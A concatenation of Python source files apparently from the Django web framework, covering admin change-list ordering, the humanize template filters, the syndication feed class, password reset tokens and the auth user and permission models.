                    if not order_field:
                        continue  # No 'admin_order_field', skip it
                    # reverse order if order_field has already "-" as prefix
                    if order_field.startswith('-') and pfx == "-":
                        ordering.append(order_field[1:])
                    else:
                        ordering.append(pfx + order_field)
                except (IndexError, ValueError):
                    continue  # Invalid ordering specified, skip it.

        # Add the given query's ordering fields, if any.
        ordering.extend(queryset.query.order_by)

        # Ensure that the primary key is systematically present in the list of
        # ordering fields so we can guarantee a deterministic order across all
        # database backends.
        pk_name = self.lookup_opts.pk.name
        if not (set(ordering) & {'pk', '-pk', pk_name, '-' + pk_name}):
            # The two sets do not intersect, meaning the pk isn't present. So
            # we add it.
            ordering.append('-pk')

        return ordering

    def get_ordering_field_columns(self):
        """
        Returns an OrderedDict of ordering field column numbers and asc/desc
        """

        # We must cope with more than one column having the same underlying sort
        # field, so we base things on column numbers.
        ordering = self._get_default_ordering()
        ordering_fields = OrderedDict()
        if ORDER_VAR not in self.params:
            # for ordering specified on ModelAdmin or model Meta, we don't know
            # the right column numbers absolutely, because there might be more
            # than one column associated with that ordering, so we guess.
            for field in ordering:
                if field.startswith('-'):
                    field = field[1:]
                    order_type = 'desc'
                else:
                    order_type = 'asc'
                for index, attr in enumerate(self.list_display):
                    if self.get_ordering_field(attr) == field:
                        ordering_fields[index] = order_type
                        break
        else:
            for p in self.params[ORDER_VAR].split('.'):
                none, pfx, idx = p.rpartition('-')
                try:
                    idx = int(idx)
                except ValueError:
                    continue  # skip it
                ordering_fields[idx] = 'desc' if pfx == '-' else 'asc'
        return ordering_fields

    def get_queryset(self, request):
        # First, we collect all the declared list filters.
        (self.filter_specs, self.has_filters, remaining_lookup_params,
         filters_use_distinct) = self.get_filters(request)

        # Then, we let every list filter modify the queryset to its liking.
        qs = self.root_queryset
        for filter_spec in self.filter_specs:
            new_qs = filter_spec.queryset(request, qs)
            if new_qs is not None:
                qs = new_qs

        try:
            # Finally, we apply the remaining lookup parameters from the query
            # string (i.e. those that haven't already been processed by the
            # filters).
            qs = qs.filter(**remaining_lookup_params)
        except (SuspiciousOperation, ImproperlyConfigured):
            # Allow certain types of errors to be re-raised as-is so that the
            # caller can treat them in a special way.
            raise
        except Exception as e:
            # Every other error is caught with a naked except, because we don't
            # have any other way of validating lookup parameters. They might be
            # invalid if the keyword arguments are incorrect, or if the values
            # are not in the correct type, so we might get FieldError,
            # ValueError, ValidationError, or ?.
            raise IncorrectLookupParameters(e)

        if not qs.query.select_related:
            qs = self.apply_select_related(qs)

        # Set ordering.
        ordering = self.get_ordering(request, qs)
        qs = qs.order_by(*ordering)

        # Apply search results
        qs, search_use_distinct = self.model_admin.get_search_results(request, qs, self.query)

        # Remove duplicates from results, if necessary
        if filters_use_distinct | search_use_distinct:
            return qs.distinct()
        else:
            return qs

    def apply_select_related(self, qs):
        if self.list_select_related is True:
            return qs.select_related()

        if self.list_select_related is False:
            if self.has_related_field_in_list_display():
                return qs.select_related()

        if self.list_select_related:
            return qs.select_related(*self.list_select_related)
        return qs

    def has_related_field_in_list_display(self):
        for field_name in self.list_display:
            try:
                field = self.lookup_opts.get_field(field_name)
            except FieldDoesNotExist:
                pass
            else:
                if isinstance(field.remote_field, models.ManyToOneRel):
                    # <FK>_id field names don't require a join.
                    if field_name == field.get_attname():
                        continue
                    return True
        return False

    def url_for_result(self, result):
        pk = getattr(result, self.pk_attname)
        return reverse('admin:%s_%s_change' % (self.opts.app_label,
                                               self.opts.model_name),
                       args=(quote(pk),),
                       current_app=self.model_admin.admin_site.name)






from django.contrib.auth import REDIRECT_FIELD_NAME
from django.contrib.auth.decorators import user_passes_test


def staff_member_required(view_func=None, redirect_field_name=REDIRECT_FIELD_NAME,
                          login_url='admin:login'):
    """
    Decorator for views that checks that the user is logged in and is a staff
    member, redirecting to the login page if necessary.
    """
    actual_decorator = user_passes_test(
        lambda u: u.is_active and u.is_staff,
        login_url=login_url,
        redirect_field_name=redirect_field_name
    )
    if view_func:
        return actual_decorator(view_func)
    return actual_decorator












from django.apps import AppConfig
from django.utils.translation import ugettext_lazy as _


class HumanizeConfig(AppConfig):
    name = 'django.contrib.humanize'
    verbose_name = _("Humanize")






default_app_config = 'django.contrib.humanize.apps.HumanizeConfig'












# -*- encoding: utf-8 -*-
from __future__ import unicode_literals

import re
from datetime import date, datetime
from decimal import Decimal

from django import template
from django.conf import settings
from django.template import defaultfilters
from django.utils.encoding import force_text
from django.utils.formats import number_format
from django.utils.safestring import mark_safe
from django.utils.timezone import is_aware, utc
from django.utils.translation import pgettext, ugettext as _, ungettext

register = template.Library()


@register.filter(is_safe=True)
def ordinal(value):
    """
    Converts an integer to its ordinal as a string. 1 is '1st', 2 is '2nd',
    3 is '3rd', etc. Works for any integer.
    """
    try:
        value = int(value)
    except (TypeError, ValueError):
        return value
    suffixes = (_('th'), _('st'), _('nd'), _('rd'), _('th'), _('th'), _('th'), _('th'), _('th'), _('th'))
    if value % 100 in (11, 12, 13):  # special case
        return mark_safe("%d%s" % (value, suffixes[0]))
    # Mark value safe so i18n does not break with <sup> or <sub> see #19988
    return mark_safe("%d%s" % (value, suffixes[value % 10]))


@register.filter(is_safe=True)
def intcomma(value, use_l10n=True):
    """
    Converts an integer to a string containing commas every three digits.
    For example, 3000 becomes '3,000' and 45000 becomes '45,000'.
    """
    if settings.USE_L10N and use_l10n:
        try:
            if not isinstance(value, (float, Decimal)):
                value = int(value)
        except (TypeError, ValueError):
            return intcomma(value, False)
        else:
            return number_format(value, force_grouping=True)
    orig = force_text(value)
    new = re.sub("^(-?\d+)(\d{3})", '\g<1>,\g<2>', orig)
    if orig == new:
        return new
    else:
        return intcomma(new, use_l10n)

# A tuple of standard large number to their converters
intword_converters = (
    (6, lambda number: (
        ungettext('%(value).1f million', '%(value).1f million', number),
        ungettext('%(value)s million', '%(value)s million', number),
    )),
    (9, lambda number: (
        ungettext('%(value).1f billion', '%(value).1f billion', number),
        ungettext('%(value)s billion', '%(value)s billion', number),
    )),
    (12, lambda number: (
        ungettext('%(value).1f trillion', '%(value).1f trillion', number),
        ungettext('%(value)s trillion', '%(value)s trillion', number),
    )),
    (15, lambda number: (
        ungettext('%(value).1f quadrillion', '%(value).1f quadrillion', number),
        ungettext('%(value)s quadrillion', '%(value)s quadrillion', number),
    )),
    (18, lambda number: (
        ungettext('%(value).1f quintillion', '%(value).1f quintillion', number),
        ungettext('%(value)s quintillion', '%(value)s quintillion', number),
    )),
    (21, lambda number: (
        ungettext('%(value).1f sextillion', '%(value).1f sextillion', number),
        ungettext('%(value)s sextillion', '%(value)s sextillion', number),
    )),
    (24, lambda number: (
        ungettext('%(value).1f septillion', '%(value).1f septillion', number),
        ungettext('%(value)s septillion', '%(value)s septillion', number),
    )),
    (27, lambda number: (
        ungettext('%(value).1f octillion', '%(value).1f octillion', number),
        ungettext('%(value)s octillion', '%(value)s octillion', number),
    )),
    (30, lambda number: (
        ungettext('%(value).1f nonillion', '%(value).1f nonillion', number),
        ungettext('%(value)s nonillion', '%(value)s nonillion', number),
    )),
    (33, lambda number: (
        ungettext('%(value).1f decillion', '%(value).1f decillion', number),
        ungettext('%(value)s decillion', '%(value)s decillion', number),
    )),
    (100, lambda number: (
        ungettext('%(value).1f googol', '%(value).1f googol', number),
        ungettext('%(value)s googol', '%(value)s googol', number),
    )),
)


@register.filter(is_safe=False)
def intword(value):
    """
    Converts a large integer to a friendly text representation. Works best
    for numbers over 1 million. For example, 1000000 becomes '1.0 million',
    1200000 becomes '1.2 million' and '1200000000' becomes '1.2 billion'.
    """
    try:
        value = int(value)
    except (TypeError, ValueError):
        return value

    if value < 1000000:
        return value

    def _check_for_i18n(value, float_formatted, string_formatted):
        """
        Use the i18n enabled defaultfilters.floatformat if possible
        """
        if settings.USE_L10N:
            value = defaultfilters.floatformat(value, 1)
            template = string_formatted
        else:
            template = float_formatted
        return template % {'value': value}

    for exponent, converters in intword_converters:
        large_number = 10 ** exponent
        if value < large_number * 1000:
            new_value = value / float(large_number)
            return _check_for_i18n(new_value, *converters(new_value))
    return value


@register.filter(is_safe=True)
def apnumber(value):
    """
    For numbers 1-9, returns the number spelled out. Otherwise, returns the
    number. This follows Associated Press style.
    """
    try:
        value = int(value)
    except (TypeError, ValueError):
        return value
    if not 0 < value < 10:
        return value
    return (_('one'), _('two'), _('three'), _('four'), _('five'),
            _('six'), _('seven'), _('eight'), _('nine'))[value - 1]


# Perform the comparison in the default time zone when USE_TZ = True
# (unless a specific time zone has been applied with the |timezone filter).
@register.filter(expects_localtime=True)
def naturalday(value, arg=None):
    """
    For date values that are tomorrow, today or yesterday compared to
    present day returns representing string. Otherwise, returns a string
    formatted according to settings.DATE_FORMAT.
    """
    try:
        tzinfo = getattr(value, 'tzinfo', None)
        value = date(value.year, value.month, value.day)
    except AttributeError:
        # Passed value wasn't a date object
        return value
    except ValueError:
        # Date arguments out of range
        return value
    today = datetime.now(tzinfo).date()
    delta = value - today
    if delta.days == 0:
        return _('today')
    elif delta.days == 1:
        return _('tomorrow')
    elif delta.days == -1:
        return _('yesterday')
    return defaultfilters.date(value, arg)


# This filter doesn't require expects_localtime=True because it deals properly
# with both naive and aware datetimes. Therefore avoid the cost of conversion.
@register.filter
def naturaltime(value):
    """
    For date and time values shows how many seconds, minutes or hours ago
    compared to current timestamp returns representing string.
    """
    if not isinstance(value, date):  # datetime is a subclass of date
        return value

    now = datetime.now(utc if is_aware(value) else None)
    if value < now:
        delta = now - value
        if delta.days != 0:
            return pgettext(
                'naturaltime', '%(delta)s ago'
            ) % {'delta': defaultfilters.timesince(value, now)}
        elif delta.seconds == 0:
            return _('now')
        elif delta.seconds < 60:
            return ungettext(
                # Translators: please keep a non-breaking space (U+00A0)
                # between count and time unit.
                'a second ago', '%(count)s seconds ago', delta.seconds
            ) % {'count': delta.seconds}
        elif delta.seconds // 60 < 60:
            count = delta.seconds // 60
            return ungettext(
                # Translators: please keep a non-breaking space (U+00A0)
                # between count and time unit.
                'a minute ago', '%(count)s minutes ago', count
            ) % {'count': count}
        else:
            count = delta.seconds // 60 // 60
            return ungettext(
                # Translators: please keep a non-breaking space (U+00A0)
                # between count and time unit.
                'an hour ago', '%(count)s hours ago', count
            ) % {'count': count}
    else:
        delta = value - now
        if delta.days != 0:
            return pgettext(
                'naturaltime', '%(delta)s from now'
            ) % {'delta': defaultfilters.timeuntil(value, now)}
        elif delta.seconds == 0:
            return _('now')
        elif delta.seconds < 60:
            return ungettext(
                # Translators: please keep a non-breaking space (U+00A0)
                # between count and time unit.
                'a second from now', '%(count)s seconds from now', delta.seconds
            ) % {'count': delta.seconds}
        elif delta.seconds // 60 < 60:
            count = delta.seconds // 60
            return ungettext(
                # Translators: please keep a non-breaking space (U+00A0)
                # between count and time unit.
                'a minute from now', '%(count)s minutes from now', count
            ) % {'count': count}
        else:
            count = delta.seconds // 60 // 60
            return ungettext(
                # Translators: please keep a non-breaking space (U+00A0)
                # between count and time unit.
                'an hour from now', '%(count)s hours from now', count
            ) % {'count': count}






from __future__ import unicode_literals

from calendar import timegm

from django.conf import settings
from django.contrib.sites.shortcuts import get_current_site
from django.core.exceptions import ImproperlyConfigured, ObjectDoesNotExist
from django.http import Http404, HttpResponse
from django.template import TemplateDoesNotExist, loader
from django.utils import feedgenerator, six
from django.utils.encoding import force_text, iri_to_uri, smart_text
from django.utils.html import escape
from django.utils.http import http_date
from django.utils.timezone import get_default_timezone, is_naive, make_aware


def add_domain(domain, url, secure=False):
    protocol = 'https' if secure else 'http'
    if url.startswith('//'):
        # Support network-path reference (see #16753) - RSS requires a protocol
        url = '%s:%s' % (protocol, url)
    elif not url.startswith(('http://', 'https://', 'mailto:')):
        url = iri_to_uri('%s://%s%s' % (protocol, domain, url))
    return url


class FeedDoesNotExist(ObjectDoesNotExist):
    pass


class Feed(object):
    feed_type = feedgenerator.DefaultFeed
    title_template = None
    description_template = None

    def __call__(self, request, *args, **kwargs):
        try:
            obj = self.get_object(request, *args, **kwargs)
        except ObjectDoesNotExist:
            raise Http404('Feed object does not exist.')
        feedgen = self.get_feed(obj, request)
        response = HttpResponse(content_type=feedgen.content_type)
        if hasattr(self, 'item_pubdate') or hasattr(self, 'item_updateddate'):
            # if item_pubdate or item_updateddate is defined for the feed, set
            # header so as ConditionalGetMiddleware is able to send 304 NOT MODIFIED
            response['Last-Modified'] = http_date(
                timegm(feedgen.latest_post_date().utctimetuple()))
        feedgen.write(response, 'utf-8')
        return response

    def item_title(self, item):
        # Titles should be double escaped by default (see #6533)
        return escape(force_text(item))

    def item_description(self, item):
        return force_text(item)

    def item_link(self, item):
        try:
            return item.get_absolute_url()
        except AttributeError:
            raise ImproperlyConfigured(
                'Give your %s class a get_absolute_url() method, or define an '
                'item_link() method in your Feed class.' % item.__class__.__name__
            )

    def item_enclosures(self, item):
        enc_url = self._get_dynamic_attr('item_enclosure_url', item)
        if enc_url:
            enc = feedgenerator.Enclosure(
                url=smart_text(enc_url),
                length=smart_text(self._get_dynamic_attr('item_enclosure_length', item)),
                mime_type=smart_text(self._get_dynamic_attr('item_enclosure_mime_type', item)),
            )
            return [enc]
        return []

    def _get_dynamic_attr(self, attname, obj, default=None):
        try:
            attr = getattr(self, attname)
        except AttributeError:
            return default
        if callable(attr):
            # Check co_argcount rather than try/excepting the function and
            # catching the TypeError, because something inside the function
            # may raise the TypeError. This technique is more accurate.
            try:
                code = six.get_function_code(attr)
            except AttributeError:
                code = six.get_function_code(attr.__call__)
            if code.co_argcount == 2:       # one argument is 'self'
                return attr(obj)
            else:
                return attr()
        return attr

    def feed_extra_kwargs(self, obj):
        """
        Returns an extra keyword arguments dictionary that is used when
        initializing the feed generator.
        """
        return {}

    def item_extra_kwargs(self, item):
        """
        Returns an extra keyword arguments dictionary that is used with
        the `add_item` call of the feed generator.
        """
        return {}

    def get_object(self, request, *args, **kwargs):
        return None

    def get_context_data(self, **kwargs):
        """
        Returns a dictionary to use as extra context if either
        ``self.description_template`` or ``self.item_template`` are used.

        Default implementation preserves the old behavior
        of using {'obj': item, 'site': current_site} as the context.
        """
        return {'obj': kwargs.get('item'), 'site': kwargs.get('site')}

    def get_feed(self, obj, request):
        """
        Returns a feedgenerator.DefaultFeed object, fully populated, for
        this feed. Raises FeedDoesNotExist for invalid parameters.
        """
        current_site = get_current_site(request)

        link = self._get_dynamic_attr('link', obj)
        link = add_domain(current_site.domain, link, request.is_secure())

        feed = self.feed_type(
            title=self._get_dynamic_attr('title', obj),
            subtitle=self._get_dynamic_attr('subtitle', obj),
            link=link,
            description=self._get_dynamic_attr('description', obj),
            language=settings.LANGUAGE_CODE,
            feed_url=add_domain(
                current_site.domain,
                self._get_dynamic_attr('feed_url', obj) or request.path,
                request.is_secure(),
            ),
            author_name=self._get_dynamic_attr('author_name', obj),
            author_link=self._get_dynamic_attr('author_link', obj),
            author_email=self._get_dynamic_attr('author_email', obj),
            categories=self._get_dynamic_attr('categories', obj),
            feed_copyright=self._get_dynamic_attr('feed_copyright', obj),
            feed_guid=self._get_dynamic_attr('feed_guid', obj),
            ttl=self._get_dynamic_attr('ttl', obj),
            **self.feed_extra_kwargs(obj)
        )

        title_tmp = None
        if self.title_template is not None:
            try:
                title_tmp = loader.get_template(self.title_template)
            except TemplateDoesNotExist:
                pass

        description_tmp = None
        if self.description_template is not None:
            try:
                description_tmp = loader.get_template(self.description_template)
            except TemplateDoesNotExist:
                pass

        for item in self._get_dynamic_attr('items', obj):
            context = self.get_context_data(item=item, site=current_site,
                                            obj=obj, request=request)
            if title_tmp is not None:
                title = title_tmp.render(context, request)
            else:
                title = self._get_dynamic_attr('item_title', item)
            if description_tmp is not None:
                description = description_tmp.render(context, request)
            else:
                description = self._get_dynamic_attr('item_description', item)
            link = add_domain(
                current_site.domain,
                self._get_dynamic_attr('item_link', item),
                request.is_secure(),
            )
            enclosures = self._get_dynamic_attr('item_enclosures', item)
            author_name = self._get_dynamic_attr('item_author_name', item)
            if author_name is not None:
                author_email = self._get_dynamic_attr('item_author_email', item)
                author_link = self._get_dynamic_attr('item_author_link', item)
            else:
                author_email = author_link = None

            tz = get_default_timezone()

            pubdate = self._get_dynamic_attr('item_pubdate', item)
            if pubdate and is_naive(pubdate):
                pubdate = make_aware(pubdate, tz)

            updateddate = self._get_dynamic_attr('item_updateddate', item)
            if updateddate and is_naive(updateddate):
                updateddate = make_aware(updateddate, tz)

            feed.add_item(
                title=title,
                link=link,
                description=description,
                unique_id=self._get_dynamic_attr('item_guid', item, link),
                unique_id_is_permalink=self._get_dynamic_attr(
                    'item_guid_is_permalink', item),
                enclosures=enclosures,
                pubdate=pubdate,
                updateddate=updateddate,
                author_name=author_name,
                author_email=author_email,
                author_link=author_link,
                categories=self._get_dynamic_attr('item_categories', item),
                item_copyright=self._get_dynamic_attr('item_copyright', item),
                **self.item_extra_kwargs(item)
            )
        return feed






from django.apps import AppConfig
from django.utils.translation import ugettext_lazy as _


class SyndicationConfig(AppConfig):
    name = 'django.contrib.syndication'
    verbose_name = _("Syndication")






default_app_config = 'django.contrib.syndication.apps.SyndicationConfig'






from datetime import date

from django.conf import settings
from django.utils import six
from django.utils.crypto import constant_time_compare, salted_hmac
from django.utils.http import base36_to_int, int_to_base36


class PasswordResetTokenGenerator(object):
    """
    Strategy object used to generate and check tokens for the password
    reset mechanism.
    """
    key_salt = "django.contrib.auth.tokens.PasswordResetTokenGenerator"

    def make_token(self, user):
        """
        Returns a token that can be used once to do a password reset
        for the given user.
        """
        return self._make_token_with_timestamp(user, self._num_days(self._today()))

    def check_token(self, user, token):
        """
        Check that a password reset token is correct for a given user.
        """
        # Parse the token
        try:
            ts_b36, hash = token.split("-")
        except ValueError:
            return False

        try:
            ts = base36_to_int(ts_b36)
        except ValueError:
            return False

        # Check that the timestamp/uid has not been tampered with
        if not constant_time_compare(self._make_token_with_timestamp(user, ts), token):
            return False

        # Check the timestamp is within limit
        if (self._num_days(self._today()) - ts) > settings.PASSWORD_RESET_TIMEOUT_DAYS:
            return False

        return True

    def _make_token_with_timestamp(self, user, timestamp):
        # timestamp is number of days since 2001-1-1.  Converted to
        # base 36, this gives us a 3 digit string until about 2121
        ts_b36 = int_to_base36(timestamp)

        # By hashing on the internal state of the user and using state
        # that is sure to change (the password salt will change as soon as
        # the password is set, at least for current Django auth, and
        # last_login will also change), we produce a hash that will be
        # invalid as soon as it is used.
        # We limit the hash to 20 chars to keep URL short

        hash = salted_hmac(
            self.key_salt,
            self._make_hash_value(user, timestamp),
        ).hexdigest()[::2]
        return "%s-%s" % (ts_b36, hash)

    def _make_hash_value(self, user, timestamp):
        # Ensure results are consistent across DB backends
        login_timestamp = '' if user.last_login is None else user.last_login.replace(microsecond=0, tzinfo=None)
        return (
            six.text_type(user.pk) + user.password +
            six.text_type(login_timestamp) + six.text_type(timestamp)
        )

    def _num_days(self, dt):
        return (dt - date(2001, 1, 1)).days

    def _today(self):
        # Used for mocking in tests
        return date.today()

default_token_generator = PasswordResetTokenGenerator()






from __future__ import unicode_literals

from django.contrib import auth
from django.contrib.auth.base_user import AbstractBaseUser, BaseUserManager
from django.contrib.auth.signals import user_logged_in
from django.contrib.contenttypes.models import ContentType
from django.core.exceptions import PermissionDenied
from django.core.mail import send_mail
from django.db import models
from django.db.models.manager import EmptyManager
from django.utils import six, timezone
from django.utils.deprecation import CallableFalse, CallableTrue
from django.utils.encoding import python_2_unicode_compatible
from django.utils.translation import ugettext_lazy as _

from .validators import ASCIIUsernameValidator, UnicodeUsernameValidator


def update_last_login(sender, user, **kwargs):
    """
    A signal receiver which updates the last_login date for
    the user logging in.
    """
    user.last_login = timezone.now()
    user.save(update_fields=['last_login'])
user_logged_in.connect(update_last_login)


class PermissionManager(models.Manager):
    use_in_migrations = True

    def get_by_natural_key(self, codename, app_label, model):
        return self.get(
            codename=codename,
            content_type=ContentType.objects.db_manager(self.db).get_by_natural_key(app_label, model),
        )


@python_2_unicode_compatible
class Permission(models.Model):
    """
    The permissions system provides a way to assign permissions to specific
    users and groups of users.

    The permission system is used by the Django admin site, but may also be
    useful in your own code. The Django admin site uses permissions as follows:

        - The "add" permission limits the user's ability to view the "add" form
          and add an object.
        - The "change" permission limits a user's ability to view the change
          list, view the "change" form and change an object.
        - The "delete" permission limits the ability to delete an object.

    Permissions are set globally per type of object, not per specific object
    instance. It is possible to say "Mary may change news stories," but it's
    not currently possible to say "Mary may change news stories, but only the
    ones she created herself" or "Mary may only change news stories that have a
    certain status or publication date."

    Three basic permissions -- add, change and delete -- are automatically
    created for each Django model.
    """
    name = models.CharField(_('name'), max_length=255)
    content_type = models.ForeignKey(
        ContentType,
        models.CASCADE,
        verbose_name=_('content type'),
    )
    codename = models.CharField(_('codename'), max_length=100)
    objects = PermissionManager()

    class Meta:
        verbose_name = _('permission')
        verbose_name_plural = _('permissions')
        unique_together = (('content_type', 'codename'),)
        ordering = ('content_type__app_label', 'content_type__model',
                    'codename')

    def __str__(self):
        return "%s | %s | %s" % (
            six.text_type(self.content_type.app_label),
            six.text_type(self.content_type),
            six.text_type(self.name))

    def natural_key(self):
        return (self.codename,) + self.content_type.natural_key()
    natural_key.dependencies = ['contenttypes.contenttype']


class GroupManager(models.Manager):
    """
    The manager for the auth's Group model.
    """
    use_in_migrations = True

    def get_by_natural_key(self, name):
        return self.get(name=name)


@python_2_unicode_compatible
class Group(models.Model):
    """
    Groups are a generic way of categorizing users to apply permissions, or
    some other label, to those users. A user can belong to any number of
    groups.

    A user in a group automatically has all the permissions granted to that
    group. For example, if the group Site editors has the permission
    can_edit_home_page, any user in that group will have that permission.

    Beyond permissions, groups are a convenient way to categorize users to
    apply some label, or extended functionality, to them. For example, you
    could create a group 'Special users', and you could write code that would
    do special things to those users -- such as giving them access to a
    members-only portion of your site, or sending them members-only email
    messages.
    """
    name = models.CharField(_('name'), max_length=80, unique=True)
    permissions = models.ManyToManyField(
        Permission,
        verbose_name=_('permissions'),
        blank=True,
    )

    objects = GroupManager()

    class Meta:
        verbose_name = _('group')
        verbose_name_plural = _('groups')

    def __str__(self):
        return self.name

    def natural_key(self):
        return (self.name,)


class UserManager(BaseUserManager):
    use_in_migrations = True

    def _create_user(self, username, email, password, **extra_fields):
        """
        Creates and saves a User with the given username, email and password.
        """
        if not username:
            raise ValueError('The given username must be set')
        email = self.normalize_email(email)
        username = self.model.normalize_username(username)
        user = self.model(username=username, email=email, **extra_fields)
        user.set_password(password)
        user.save(using=self._db)
        return user

    def create_user(self, username, email=None, password=None, **extra_fields):
        extra_fields.setdefault('is_staff', False)
        extra_fields.setdefault('is_superuser', False)
        return self._create_user(username, email, password, **extra_fields)

    def create_superuser(self, username, email, password, **extra_fields):
        extra_fields.setdefault('is_staff', True)
        extra_fields.setdefault('is_superuser', True)

        if extra_fields.get('is_staff') is not True:
            raise ValueError('Superuser must have is_staff=True.')
        if extra_fields.get('is_superuser') is not True:
            raise ValueError('Superuser must have is_superuser=True.')

        return self._create_user(username, email, password, **extra_fields)


# A few helper functions for common logic between User and AnonymousUser.
def _user_get_all_permissions(user, obj):
    permissions = set()
    for backend in auth.get_backends():
        if hasattr(backend, "get_all_permissions"):
            permissions.update(backend.get_all_permissions(user, obj))
    return permissions


def _user_has_perm(user, perm, obj):
    """
    A backend can raise `PermissionDenied` to short-circuit permission checking.
    """
    for backend in auth.get_backends():
        if not hasattr(backend, 'has_perm'):
            continue
        try:
            if backend.has_perm(user, perm, obj):
                return True
        except PermissionDenied:
            return False
    return False


def _user_has_module_perms(user, app_label):
    """
    A backend can raise `PermissionDenied` to short-circuit permission checking.
    """
    for backend in auth.get_backends():
        if not hasattr(backend, 'has_module_perms'):
            continue
        try:
            if backend.has_module_perms(user, app_label):
                return True
        except PermissionDenied:
            return False
    return False


class PermissionsMixin(models.Model):
    """
    A mixin class that adds the fields and methods necessary to support
    Django's Group and Permission model using the ModelBackend.
    """
    is_superuser = models.BooleanField(
        _('superuser status'),
        default=False,
        help_text=_(
            'Designates that this user has all permissions without '
            'explicitly assigning them.'
        ),
    )
    groups = models.ManyToManyField(
        Group,
        verbose_name=_('groups'),
        blank=True,
        help_text=_(
            'The groups this user belongs to. A user will get all permissions '
            'granted to each of their groups.'
        ),
        related_name="user_set",
        related_query_name="user",
    )
    user_permissions = models.ManyToManyField(
        Permission,
        verbose_name=_('user permissions'),
        blank=True,
        help_text=_('Specific permissions for this user.'),
        related_name="user_set",
        related_query_name="user",
    )

    class Meta:
        abstract = True

    def get_group_permissions(self, obj=None):
        """
        Returns a list of permission strings that this user has through their
        groups. This method queries all available auth backends. If an object
        is passed in, only permissions matching this object are returned.
        """
        permissions = set()
        for backend in auth.get_backends():
            if hasattr(backend, "get_group_permissions"):
                permissions.update(backend.get_group_permissions(self, obj))
        return permissions

    def get_all_permissions(self, obj=None):
        return _user_get_all_permissions(self, obj)

    def has_perm(self, perm, obj=None):
        """
        Returns True if the user has the specified permission. This method
        queries all available auth backends, but returns immediately if any
        backend returns True. Thus, a user who has permission from a single
        auth backend is assumed to have permission in general. If an object is
        provided, permissions for this specific object are checked.
        """

        # Active superusers have all permissions.
        if self.is_active and self.is_superuser:
            return True

        # Otherwise we need to check the backends.
        return _user_has_perm(self, perm, obj)

    def has_perms(self, perm_list, obj=None):
        """
        Returns True if the user has each of the specified permissions. If
        object is passed, it checks if the user has all required perms for this
        object.
        """
        return all(self.has_perm(perm, obj) for perm in perm_list)

    def has_module_perms(self, app_label):
        """
        Returns True if the user has any permissions in the given app label.
        Uses pretty much the same logic as has_perm, above.
        """
        # Active superusers have all permissions.
        if self.is_active and self.is_superuser:
            return True

        return _user_has_module_perms(self, app_label)


class AbstractUser(AbstractBaseUser, PermissionsMixin):
    """
    An abstract base class implementing a fully featured User model with
    admin-compliant permissions.

    Username and password are required. Other fields are optional.
    """
    username_validator = UnicodeUsernameValidator() if six.PY3 else ASCIIUsernameValidator()

    username = models.CharField(
        _('username'),
        max_length=150,
        unique=True,
        help_text=_('Required. 150 characters or fewer. Letters, digits and @/./+/-/_ only.'),
        validators=[username_validator],
        error_messages={
            'unique': _("A user with that username already exists."),
        },
    )
    first_name = models.CharField(_('first name'), max_length=30, blank=True)
    last_name = models.CharField(_('last name'), max_length=30, blank=True)
    email = models.EmailField(_('email address'), blank=True)
    is_staff = models.BooleanField(
        _('staff status'),
        default=False,
        help_text=_('Designates whether the user can log into this admin site.'),
    )
    is_active = models.BooleanField(
        _('active'),
        default=True,
        help_text=_(
            'Designates whether this user should be treated as active. '
            'Unselect this instead of deleting accounts.'
        ),
    )
    date_joined = models.DateTimeField(_('date joined'), default=timezone.now)

    objects = UserManager()

    USERNAME_FIELD = 'username'
    REQUIRED_FIELDS = ['email']

    class Meta:
        verbose_name = _('user')
        verbose_name_plural = _('users')
        abstract = True

    def clean(self):
        super(AbstractUser, self).clean()
        self.email = self.__class__.objects.normalize_email(self.email)

    def get_full_name(self):
        """
        Returns the first_name plus the last_name, with a space in between.
        """
        full_name = '%s %s' % (self.first_name, self.last_name)
        return full_name.strip()

    def get_short_name(self):
        "Returns the short name for the user."
        return self.first_name

    def email_user(self, subject, message, from_email=None, **kwargs):
        """
        Sends an email to this User.
        """
        send_mail(subject, message, from_email, [self.email], **kwargs)


class User(AbstractUser):
    """
    Users within the Django authentication system are represented by this
    model.

    Username, password and email are required. Other fields are optional.
    """
    class Meta(AbstractUser.Meta):
        swappable = 'AUTH_USER_MODEL'


@python_2_unicode_compatible
class AnonymousUser(object):
    id = None
    pk = None
    username = ''
    is_staff = False
    is_active = False
    is_superuser = False
    _groups = EmptyManager(Group)
    _user_permissions = EmptyManager(Permission)

    def __init__(self):
        pass

    def __str__(self):
        return 'AnonymousUser'

    def __eq__(self, other):
        return isinstance(other, self.__class__)

    def __ne__(self, other):
        return not self.__eq__(other)

    def __hash__(self):
        return 1  # instances always return the same hash value

    def save(self):
        raise NotImplementedError("Django doesn't provide a DB representation for AnonymousUser.")

    def delete(self):
        raise NotImplementedError("Django doesn't provide a DB representation for AnonymousUser.")

    def set_password(self, raw_password):
        raise NotImplementedError("Django doesn't provide a DB representation for AnonymousUser.")

    def check_password(self, raw_password):
        raise NotImplementedError("Django doesn't provide a DB representation for AnonymousUser.")

    def _get_groups(self):
        return self._groups
    groups = property(_get_groups)

    def _get_user_permissions(self):
        return self._user_permissions
    user_permissions = property(_get_user_permissions)

    def get_group_permissions(self, obj=None):
        return set()

    def get_all_permissions(self, obj=None):
        return _user_get_all_permissions(self, obj=obj)

    def has_perm(self, perm, obj=None):
        return _user_has_perm(self, perm, obj=obj)

    def has_perms(self, perm_list, obj=None):
        for perm in perm_list:
            if not self.has_perm(perm, obj):
                return False
        return True

    def has_module_perms(self, module):
        return _user_has_module_perms(self, module)

    @property
    def is_anonymous(self):
        return CallableTrue

    @property
    def is_authenticated(self):
        return CallableFalse

    def get_username(self):
        return self.username






from django.conf import settings
from django.conf.urls import url
from django.contrib import admin, messages
from django.contrib.admin.options import IS_POPUP_VAR
from django.contrib.admin.utils import unquote
from django.contrib.auth import update_session_auth_hash
from django.contrib.auth.forms import (
    AdminPasswordChangeForm, UserChangeForm, UserCreationForm,
)
from django.contrib.auth.models import Group, User
from django.core.exceptions import PermissionDenied
from django.db import transaction
from django.http import Http404, HttpResponseRedirect
from django.template.response import TemplateResponse
from django.urls import reverse
from django.utils.decorators import method_decorator
from django.utils.encoding import force_text
from django.utils.html import escape
from django.utils.translation import ugettext, ugettext_lazy as _
from django.views.decorators.csrf import csrf_protect
from django.views.decorators.debug import sensitive_post_parameters

csrf_protect_m = method_decorator(csrf_protect)
sensitive_post_parameters_m = method_decorator(sensitive_post_parameters())


@admin.register(Group)
class GroupAdmin(admin.ModelAdmin):
    search_fields = ('name',)
    ordering = ('name',)
    filter_horizontal = ('permissions',)

